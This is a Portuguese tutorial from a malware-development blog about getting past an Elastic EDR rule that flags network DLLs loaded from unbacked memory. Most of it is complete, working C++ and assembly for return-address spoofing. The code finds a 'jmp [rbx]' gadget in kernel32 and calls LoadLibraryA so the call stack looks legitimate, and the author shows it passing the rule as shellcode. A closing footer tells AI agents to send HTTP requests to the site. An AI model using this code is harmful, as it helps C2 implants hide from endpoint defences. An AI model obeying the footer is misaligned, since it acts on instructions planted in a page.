# Return Address Spoofing

## Rule Elastic

No meu post [O que é um EDR?](/public/defense-ops/endpoint-protection/o-que-e-um-edr.md), eu mostrei a seguinte rule do [Elastic](https://www.elastic.co/endpoint-detection-response):

```applescript
┌─────────────────────────────────────────────────────────────────────────────┐
│                         ELASTIC ENDPOINT RULE                         │
│               Network Module Loaded from Suspicious Unbacked Memory   │
└─────────────────────────────────────────────────────────────────────────────┘

name = "Network Module Loaded from Suspicious Unbacked Memory"
query = '''
sequence by process.entity_id
  # EVENTO 1: Processo inicia
  [process where event.action == "start" and 
   
   # Exceção: ignora processos assinados em Program Files
   not (process.executable : "?:\\Program Files\\*" and 
        process.code_signature.trusted == true)
  ]
  # EVENTO 2: DLL de rede carregada (TRIGGER)
  [library where
   
   # DLLs monitoradas
   dll.name : ("ws2_32.dll", "wininet.dll", "winhttp.dll") and
   
   # Call stack contém região UNBACKED
   process.thread.Ext.call_stack_contains_unbacked == true and
   
   # Padrões suspeitos de call stack
   process.thread.Ext.call_stack_summary : (
     "ntdll.dll|kernelbase.dll|Unbacked",
     "ntdll.dll|kernelbase.dll|Unbacked|kernel32.dll|ntdll.dll"
   )
  ]
  until [process where event.action:"end"]
'''
# Ação quando detecta
[[actions]]
action = "kill_process"
```

{% hint style="danger" %}
Esta regra está apresentada de forma resumida. A versão completa possui mais de 250 linhas, diversas exceções e outras seções adicionais. Condensei a regra do Elastic apenas para fins de exemplificação.
{% endhint %}

***

#### Por que monitorar DLLs legitmas?

C2 frameworks como **Cobalt Strike**, **Sliver** e **Havoc** precisam se comunicar com o servidor do atacante. Para isso, geralmente usam:

* `wininet.dll` / `winhttp.dll` → comunicação HTTP/HTTPS
* `ws2_32.dll` → conexões via socket

***

A regra da Elastic concentra-se em verificar se essas DLLs foram carregadas a partir de memória (unbacked), pois se uma shellcode em execução na memória tentar carregar alguma DLL a stack vai apontar que quem chamou `LoadLibraryA` ou outro método, está em uma região de memória (unbacked), e isso vai tomar a ação: `action = "kill_process"` podemos ver um exemplo disso com essa imagem:

<figure><img src="/files/F9EvbT0Jqp0lecdoyiNd" alt=""><figcaption></figcaption></figure>

Se a DLL tivesse sido carregada por um módulo legitimo teriamos o seguinte resultado na stack:

<figure><img src="/files/9oiB4wLfQj8c7zlKpFAN" alt=""><figcaption></figcaption></figure>

***

## Como Contornar isso?

Existem algumas maneiras para contornar isso, uma delas é manipular o `return address` para que pareça que foi chamada de uma função legítima (um gadget do tipo `jmp rbx` por exemplo).&#x20;

{% hint style="danger" %}
As informações que você encontrar neste post, técnicas, códigos, provas de conceito ou qualquer outra coisa são estritamente para fins educacionais.
{% endhint %}

A ideia básica é preparar um bloco (trampoline/gadget) cuja execução retorne para um endereço legítimo em um módulo confiável.

Para encontrar esse gadget podemos estar utilizando o seguinte código:

```c++
PBYTE FindGadget(PBYTE pModule)
{
	for (int i = 0;; i++)
		if (pModule[i] == 0xFF && pModule[i + 1] == 0x23)
			return pModule + i;
}
```

Primeiro, criamos a função `FindGadget` que recebe `pModule`, um ponteiro (PBYTE) para o endereço base do módulo desejado (neste caso, a kernel32.dll).

Dentro da função, usamos um loop for infinito para iterar byte a byte a partir do endereço base do módulo. A variável `i` representa o offset (deslocamento) em bytes desde o endereço base.

Em cada iteração, fazemos uma verificação com `if`: se o byte na posição atual (`pModule[i]`) for igual a `0xFF` E o próximo byte (`pModule[i + 1]`) for igual a `0x23`, encontramos o gadget.

Quando a condição é verdadeira, a função retorna `pModule + i`, que é o endereço exato do gadget (endereço base + offset).

Caso contrário, o loop continua, e `i++` incrementa automaticamente no final de cada iteração, avançando para o próximo byte até encontrar o padrão desejado.

***

```cpp
int main() {
	PBYTE pKernel32 = (PBYTE)GetModuleHandleA("kernel32");
	PBYTE pGadget = FindGadget(pKernel32);
	printf("[+] Gadget encontrado em: 0x%p\n", pGadget);

	getchar();
	return 0;
}
```

Agora na função `main`, primeiro precisamos obter o endereço base do módulo `kernel32.dll`, que é onde vamos iterar para procurar o gadget.

Para isso, utilizamos a função [GetModuleHandleA](https://learn.microsoft.com/pt-br/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea), passando como argumento o nome do módulo carregado na memória ("kernel32").

Essa função retorna um HMODULE (handle do módulo), que na prática é o endereço base onde o módulo está carregado na memória.

Como queremos acessar byte a byte desse módulo, fazemos um cast (PBYTE) para converter o HMODULE em PBYTE (ponteiro para bytes), permitindo aritmética de ponteiros byte a byte.

Por fim, armazenamos esse ponteiro em uma variável chamada `pKernel32` do tipo PBYTE, que agora aponta para o primeiro byte da `kernel32.dll` permitindo agora iterar pela memória do módulo.

***

Após encontrar o gadget com `FindGadget`, precisamos entender como invocar funções no Windows 64-bit. A arquitetura x64 usa a Microsoft x64 calling convention, que exige:

1. Os 4 primeiros argumentos devem ser passados nos registradores RCX, RDX, R8 e R9 (nesta ordem)
2. 32 bytes de shadow space devem ser reservados na stack antes da chamada (espaço reservado para os 4 primeiros argumentos, mesmo que estejam em registradores)
3. Argumentos adicionais (5º em diante) são colocados na stack após o shadow space

Para gerenciar essa complexidade, criamos a estrutura \_STACK\_CONFIG:

```c++
typedef struct _STACK_CONFIG {
    PVOID pGadget;      // Endereço do gadget encontrado (0xFF 0x23)
    PVOID pTarget;         // Endereço da função que queremos chamar
    PVOID pRbx;            // Valor para o registrador RBX (usado no gadget)
    PVOID pArgs;           // Ponteiro para array com os argumentos
} STACK_CONFIG, *PSTACK_CONFIG;
```

{% hint style="info" %}
Esta estrutura centraliza todas as informações necessárias para configurar a stack corretamente antes de executar a chamada spoofada via assembly.
{% endhint %}

Agora vamos estar criando uma função que vai estar preenchendo os valores dessa estrutura:

```cpp
BOOL SetupConfig(PVOID pGadget, PSTACK_CONFIG pConfig, PVOID pTarget, UINT64 arg1, UINT64 arg2, UINT64 arg3, UINT64 arg4) {
    pConfig->pTarget = pTarget;            // Função alvo a ser chamada
    pConfig->pGadget = pGadget;         // Gadget encontrado pelo FindGadget
    pConfig->pArgs = malloc(32);           // Aloca 32 bytes (4 args × 8 bytes)
    
    if (!pConfig->pArgs) return FALSE;     // Verifica falha na alocação
    // Preenche o array de argumentos (cada UINT64 ocupa 8 bytes)
    ((PUINT64)pConfig->pArgs)[0] = arg1;   // Será carregado em RCX
    ((PUINT64)pConfig->pArgs)[1] = arg2;   // Será carregado em RDX
    ((PUINT64)pConfig->pArgs)[2] = arg3;   // Será carregado em R8
    ((PUINT64)pConfig->pArgs)[3] = arg4;   // Será carregado em R9
    
    return TRUE;
}
```

Na nossa função `SetupConfig`, ela recebe um total de 7 argumentos:

1. pGadget ← Endereço do gadget obtido de `FindGadget`
2. pConfig ← Ponteiro para a estrutura que será preenchida (STACK\_CONFIG)
3. pTarget ← Endereço da função final que queremos executar ( LoadLibraryA)
4. arg1 a arg4 ← Os 4 argumentos que serão passados para a função alvo

***

Para preencher nossa estrutura utilizamos:

```cpp
pConfig->pTarget = pTarget;
```

O item `pTarget` recebe o endereço da função que será chamada.\
Caso não saiba o operador `->` acessa o membro `pTarget` da estrutura apontada por `pConfig`.

{% hint style="info" %}
Não farei a explicação sobre *pGadget*, pois seu funcionamento segue o mesmo princípio de *pTarget*. \
Caso os conceitos anteriores não estejam totalmente claros, a compreensão das próximas etapas poderá ser comprometida.
{% endhint %}

***

```cpp
Config->pArgs = malloc(32);
```

Depois com malloc alocamos memória para armazenar os valores dos 4 argumentos (4 argumentos × 8 bytes = 32 bytes)

***

Verificamos se a alocação foi bem-sucedida:

```cpp
if (!pConfig->pArgs) return FALSE;
```

Se [malloc](https://learn.microsoft.com/pt-br/cpp/c-runtime-library/reference/malloc) retornar NULL, a função retorna FALSE.

***

```c++
((PUINT64)pConfig->pArgs)[0] = arg1;
((PUINT64)pConfig->pArgs)[1] = arg2;
((PUINT64)pConfig->pArgs)[2] = arg3;
((PUINT64)pConfig->pArgs)[3] = arg4;
```

Aqui fazemos o cast (PUINT64) para converter o ponteiro `pArgs` (que é PVOID) em um ponteiro para UINT64. fazemos isso não para converter os valores, mas para interpretar a memória apontada por `pArgs` como um array de UINT64.

{% hint style="info" %}
Isso permite indexar a memória como um array de inteiros de 64 bits, onde cada posição:

(\[0], \[1], \[2], \[3]) armazena um argumento de 8 bytes.
{% endhint %}

Mais pra frente vamos ver que o nosso assembly espera que esses valores estejam organizados em blocos de 8 bytes:\
• Offset 0 = arg1\
• Offset 8 = arg2\
• Offset 16 = arg3\
• Offset 24 = arg4

***

Agora nosso código ASM irá ficar dessa forma:

{% hint style="danger" %}
O código assembly a seguir é meio chatinho de entender, eu mesmo levei algumas horas pra pegar tudo. Por isso deixei o código comentado e fiz uma explicação extra depois.
{% endhint %}

```asm
.code

; Estrutura que espelha _STACK_CONFIG do C++
; Cada campo ocupa 8 bytes (QWORD) em x64
Config STRUCT
	pGadget QWORD ?    ; Endereço do gadget (0xFF 0x23 - jmp [rbx])
	pTarget QWORD ?       ; Endereço da função alvo a ser chamada
	pRbx QWORD ?          ; Armazena endereço de retorno para cleanup
	pArgs QWORD ?         ; Ponteiro para array com os 4 argumentos
Config ENDS

PUBLIC Spoof

Spoof PROC
	pop rdi ; Salva endereço de retorno original (onde Spoof deve voltar)

	; RCX contém o ponteiro para _STACK_CONFIG (1º argumento x64)
	; Copia para R10 para liberar RCX
	mov r10,rcx ; r10 contém o endereço da struct

  ; Config.pArgs = É o offset (deslocamento em bytes) do campo pArgs dentro da estrutura
	mov r13,QWORD PTR [r10+Config.pArgs] ; r13 agora aponta pro array de argumentos

	; Carrega os 4 argumentos nos registradores conforme x64 calling convention
	mov rcx,QWORD PTR [r13]        ; arg1 → RCX (offset +0)
	mov rdx,QWORD PTR [r13+8]      ; arg2 → RDX (offset +8)
	mov r8,QWORD PTR [r13+16]      ; arg3 → R8  (offset +16)
	mov r9,QWORD PTR [r13+24]      ; arg4 → R9  (offset +24)

	; Cria shadow space (32 bytes obrigatórios x64)
	sub rsp,32

	; Carrega endereço do gadget em RAX
	mov rax,QWORD PTR [r10+Config.pGadget]

	; Coloca gadget no topo da stack (será o endereço de retorno falso)
	push rax

	; Prepara RBX para o gadget usar: jmp [rbx] pulará para 'cleanup'
	lea rbx,cleanup                    ; Carrega endereço de 'cleanup' em RBX
	mov QWORD PTR [r10+Config.pRbx],rbx ; Salva em pRbx da struct
	lea rbx,[r10+Config.pRbx]          ; RBX aponta para o campo pRbx

	; Pula para a função alvo (com stack spoofado)
	jmp QWORD PTR [r10+Config.pTarget]

cleanup:
	add rsp,32	; Remove shadow space
	jmp rdi			; Retorna ao endereço original salvo em RDI
Spoof ENDP

END
```

***

## Registradores principais no fluxo de execução:

**RDI** - Endereço de retorno original:

```asm
pop rdi  ; Salva o endereço de retorno da chamada de Spoof
```

• Vai conter: O endereço para onde Spoof deve retornar após terminar\
• Usado em: jmp rdi no cleanup (retorna ao chamador original)

***

**R10** - Ponteiro para a estrutura Config

```asm
mov r10, rcx  ; Copia o 1º argumento (ponteiro para _STACK_CONFIG)
```

• Vai conter: Endereço base da estrutura \_STACK\_CONFIG \
• Usado para: Acessar todos os campos da struct (pArgs, pGadget, pTarget, pRbx)

***

**R13** - Ponteiro para o array de argumentos

```asm
mov r13, QWORD PTR [r10 + Config.pArgs]  ; Carrega pArgs
```

• Vai conter: Endereço do array alocado com malloc(32) que tem os 4 argumentos\
• Usado para: Carregar arg1, arg2, arg3, arg4 nos registradores de chamada

***

**RCX**, **RDX**, **R8**, **R9** - Argumentos da função alvo

```asm
mov rcx, QWORD PTR [r13]        ; arg1 → RCX
mov rdx, QWORD PTR [r13 + 8]    ; arg2 → RDX
mov r8,  QWORD PTR [r13 + 16]   ; arg3 → R8
mov r9,  QWORD PTR [r13 + 24]   ; arg4 → R9
```

• Vão conter: Os 4 argumentos que serão passados para a função alvo

***

**RAX** - Endereço do gadget

```asm
mov rax, QWORD PTR [r10 + Config.pGadget]  ; Carrega endereço do gadget
push rax ; Coloca na stack
```

***

**RBX** - Ponteiro para pRbx (usado pelo gadget)

```asm
lea rbx, cleanup                    ; RBX = endereço de cleanup
mov QWORD PTR [r10 + Config.pRbx], rbx  ; Salva cleanup em pRbx
lea rbx, [r10 + Config.pRbx]       ; RBX aponta para o campo pRbx
```

• Usado pelo gadget: jmp \[rbx] lê \[rbx] (que é cleanup) e pula para lá

{% hint style="info" %}
Lembrando que o gadget na kernel32.dll consegue usar o valor de RBX porque registradores são globais, ou seja compartilhados por todo o código executando no mesmo thread, independente do módulo (DLL) onde está o código. Por isso, o jmp \[rbx] no gadget acessa o mesmo RBX configurado.
{% endhint %}

***

**RSP** - Ponteiro da stack

```asm
sub rsp, 32  ; Reserva shadow space
add rsp, 32  ; Libera shadow space
```

• Vai ser manipulado: Para criar/destruir o shadow space obrigatório x64

***

## Fluxo de Execução

### Pula para a função alvo:

```asm
jmp QWORD PTR [r10 + Config.pTarget]  ; Pula para LoadLibraryA
```

Não usa call, usa jmp → não empilha endereço de retorno\
A stack no topo contém: endereço do gadget (colocado com push rax)\
RCX/RDX/R8/R9 já têm os argumentos preparados\
Shadow space (32 bytes) já está reservado

Função executa normalmente:

```cpp
LoadLibraryA(RCX="wininet.dll")
```

Processa os argumentos dos registradores\
Usa o shadow space na stack conforme convenção x64\
Executa a lógica (carrega a DLL)\
RBX permanece intocado (registrador não-volátil preservado)

### Função termina com ret

```asm
ret  ; Instrução final de LoadLibraryA
```

Lê o topo da stack → encontra o endereço do gadget (não o endereço de Spoof!)\
Pula para o gadget localizado na `kernel32.dll`\
Se olhar a stack agora, parece que veio da `kernel32.dll`, não do nosso código!

***

## Spoofing em ação

Gadget executa dentro da `kernel32.dll`

```asm
; Gadget (0xFF 0x23) na kernel32.dll:
jmp QWORD PTR [rbx]
```

RBX aponta para Config.pRbx (endereço na nossa memória)\
\[rbx] contém o endereço de cleanup\
Lê da memória o endereço de cleanup e pula para lá\
O gadget não usa a stack para obter o destino, só RBX

### Retorna ao código Spoof (cleanup)

```asm
cleanup:
    add rsp, 32  ; Remove shadow space
    jmp rdi      ; Pula para o endereço original salvo
```

• Agora está de volta ao nosso código assembly\
• A stack está "limpa"

### Finalização

Libera shadow space

```asm
add rsp, 32
```

Remove os 32 bytes reservados no início\
Restaura RSP para o estado antes da chamada

### Retorna ao chamador original

```asm
jmp rdi  ; Volta para "main.cpp"
```

RDI contém o endereço salvo no início (pop rdi)\
Retorna para a linha após Spoof(\&Config) no "main.cpp"

***

## Código Main

Para conseguir spoofar a função que queremos, o nosso código `main` vai ficar assim:

```cpp
int main() {
	STACK_CONFIG Config;
	UINT64 pLoadLibraryA;
	HMODULE hWininet;

	PBYTE pKernel32 = (PBYTE)GetModuleHandleA("kernel32");
	PBYTE pGadget = FindGadget(pKernel32);

	pLoadLibraryA = (UINT64)GetProcAddress((HMODULE)pKernel32, "LoadLibraryA");

	const char* dllName = "wininet.dll";
	if (!SetupConfig((PVOID)pGadget, &Config, (PVOID)pLoadLibraryA, (UINT64)dllName, 0, 0, 0))
		return -1;

	hWininet = (HMODULE)Spoof(&Config);
	printf("[+] wininet.dll carregada em: 0x%llx\n", (UINT64)hWininet);
	getchar();
	return 0;
}
```

No nosso código `main` não tem muita novidade. Basicamente, a única coisa que vamos fazer é passar os argumentos para `SetupConfig` e depois chamar o nosso método `Spoof`.

Lembrando que você vai ter que declarar:

```cpp
extern "C" PVOID Spoof(PSTACK_CONFIG pConfig);
```

Declaramos extern "C" para desativar o name mangling do C++ e permitir que o linker encontre a função Spoof implementada em Assembly pelo nome exato, onde Spoof recebe um ponteiro para a estrutura `_STACK_CONFIG` (PSTACK\_CONFIG pConfig), permitindo que o Assembly acesse todos os campos da struct usando offsets a partir desse endereço base.

***

## Resultado

Para testar nosso código final, eu vou estar transformando esse código para shellcode e estarei executando:

<figure><img src="/files/0N9yW2KviQoLPQV3Okqg" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
Repare que a `wininet.dll` aparece carregada duas vezes. Isso acontece por causa do conversor que eu usei, que acabava carregando a DLL antes do nosso código. Então eu precisei desmapear ela para conseguir capturar a stack correta.
{% endhint %}

Por fim, com esse resultado, já conseguimos contornar a rule do Elastic, pois a stack mostra que quem chamou a função `LoadLibraryA` foi a `kernel32.dll`, que está mapeada na memória do processo. Mas, claro, ao analisar a stack completa, ainda é possível perceber que quem “chamou” a `kernel32` foi o nosso próprio código, que não está mapeado, como dá para ver na imagem.

<figure><img src="/files/CZoOWHdLD4Zv3yMSVwSE" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://vith0r.gitbook.io/public/malware-dev/posts/stack/return-address-spoofing.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
